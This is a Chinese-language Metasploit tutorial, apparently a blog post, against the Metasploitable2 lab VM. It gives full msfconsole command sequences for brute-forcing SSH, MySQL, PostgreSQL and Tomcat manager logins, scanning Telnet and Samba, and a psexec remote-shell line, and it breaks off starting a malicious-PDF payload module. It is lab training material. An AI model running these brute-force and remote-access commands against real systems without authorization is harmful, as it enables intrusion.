一、前言
漏洞利用是获得系统控制权限的重要途经。用户从目标系统中找到容易攻击的漏洞,然后利用该漏洞获取权限,从而实现对目标系统的控制。
二、Metasploitable
Metasploitable是一款基于Ubuntu Linux的操作系统。该系统是一个虚拟机文件,从https://sourceforge.net/projects/metasploitable/files/latest/download 网站获取最新版,下载解压之后可以直接使用,无需安装。Metasploitable就是用来作为攻击用的靶机,所以它存在大量为打补丁漏洞,并且开放了无数高危端口。
三、Metasploit基础
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。
3.1 Metasplot终端(MSF console)
MSF终端(msf console)是目前Metasploit框架最为流行的用户接口,而且也是非常灵活的。因为MSF终端是Metasploit框架中最灵活、功能最丰富及支持最好的工具之一。msf console主要用户管理Metasploit数据库,管理绘画、配置并启动Metasploit模块。本质上来说,就是为了利用漏洞,msf console将获取用户连接到主机的信息,以至于用户能启动渗透攻击目标系统。
当使用Metasploit控制台时,将使用一些通用的命令,如下所示。
help: 该命令允许用户查看执行命令的帮助信息。 user module: 该命令允许用户加载选择的模块。 set optionname module: 该命令为模块设置不同的选项。 run: 该命令用来启动一个非渗透攻击模块 search module: 该命令用于搜索一个特定的模块。 exit: 退出msf console
(1) 在终端启动msf console,执行命令如下所示:
root@kali:~/桌面# msfconsole
输出的信息出现msf5>提示符,表示登录msf console成功。此时就可以允许其他命令了。
(2)使用search命令搜索所有有效的模块。
msf5 > search ssh_login
执行以上命令后,输出信息如下所示:
(3)使用SSH口令爆破模块
msf5 > use auxiliary/scanner/ssh/ssh_login # 等同于 use 0 0表示前面的编号
(4)查看模块有效选项,执行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > show options
(5)设置有效参数,执行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.244.132 rhosts => 192.168.244.132 msf5 auxiliary(scanner/ssh/ssh_login) > set username root username => root msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /root/sshpass.txt pass_file => /root/sshpass.txt
(6)启动模块,执行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > run
(7)查看session,执行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l
(3) 连接session,执行命令如下所示:
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
如下图所示,已成功连接至目标主机
3.2 Meterpreter
Meterpreter通常作为利用漏洞后的攻击载荷所使用,攻击载荷在出发漏洞后能返回给用户一个控制通道。当使用msfconsole获取到目标系统上的一个Meterpreter连接时,用户必须使用Meterpreter传递攻击载荷。msfconsole用于管理用户的会话,而Meterpreter则是攻击载荷和渗透攻击交互。
Meterpreter常见的命令如下所示:
help: 查看帮助信息
background: 允许用户在后台Meterpreter会话。
download:允许用户从入侵主机上下载文件。
upload:允许用户上传文件到入侵主机。
execute:允许用户在入侵主机上执行命令。
shell:允许用户在入侵主机上(仅是Windows主机)运行Windows shell命令。
sessions -i: 允许用户切换会话
四、渗透攻击应用
4.1 渗透攻击MySQL数据库
目标靶机使用的Metasploitable2
msf5 > search mysql_login msf5 > use auxiliary/scanner/mysql/mysql_login msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/mysql/mysql_login) > set user_file /root/username.txt user_file => /root/username.txt msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/password.txt pass_file => root/password.txt msf5 auxiliary(scanner/mysql/mysql_login) > exploit
输出的信息是渗透攻击的一个过程,尝试使用指定的用户名/密码文件中的用户名和密码连接MySQL服务器。在渗透攻击过程中,Metasploit会尝试输入用户名和密码文件包含的用户名和密码组合。
4.2 渗透攻击PostgreSQL数据库服务
目标靶机使用的Metasploitable2
msf5 > search postgres_login msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/scanner/postgres/postgres_login msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt msf5 auxiliary(scanner/postgres/postgres_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt pass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt msf5 auxiliary(scanner/postgres/postgres_login) > exploit
4.3 渗透攻击Tomcat服务
Tomcat默认存在一个管理后台,默认的管理地址是http://IP:端口/manager/html。通过此后台,可以在不重启Tomcat服务的情况西安方便地部署、启动、停止或卸载Web应用。但是如果配置不当的话就存在很大的安全隐患。攻击者利用这个漏洞,可以非常快速、轻松地入侵一台服务器。
目标靶机使用的Metasploitable2
msf5 > search tomcat_mgr_login msf5 > use auxiliary/scanner/http/tomcat_mgr_login msf5 auxiliary(scanner/http/tomcat_mgr_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt pass_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt msf5 auxiliary(scanner/http/tomcat_mgr_login) > set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt user_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180 rport => 8180 msf5 auxiliary(scanner/http/tomcat_mgr_login) > exploit
4.4 渗透攻击Telnet服务
msf5 > search telnet_version msf5 auxiliary(scanner/http/tomcat_mgr_login) > use auxiliary/scanner/telnet/telnet_version msf5 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/telnet/telnet_version) > exploit
4.5 渗透攻击Samba服务
Samba是实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。Samba服务对应的端口有139和445等,只要开启这些端口后,主机就可能存在Samba服务远程溢出漏洞。
目标靶机使用的Metasploitable2
msf5 > search smb_version msf5 > use auxiliary/scanner/smb/smb_version msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.244.136 rhosts => 192.168.244.136 msf5 auxiliary(scanner/smb/smb_version) > exploit
假如通过SMB爆破出目标主机的用户及密码、目标主机又没有开启RDP时,可以使用psexec.exe \目标主机地址 -l administrator -p 1234567 cmd.exe
4.6 PDF文件攻击
PDF是一种文件格式,该文件的使用比较广泛,并且容易传输。通常工作中,用户都是从工作程序中打开了一个合法的PDF文档。当打开该文档时,该用户的主机就可能被攻击。Metasploit提供了一个渗透攻击模块,可以创建一个攻击载荷,通过传递该攻击载荷对目标系统进行渗透攻击。
msf5 auxiliary(scanner/smb/smb_version) > search adobe_pdf_embedded_exe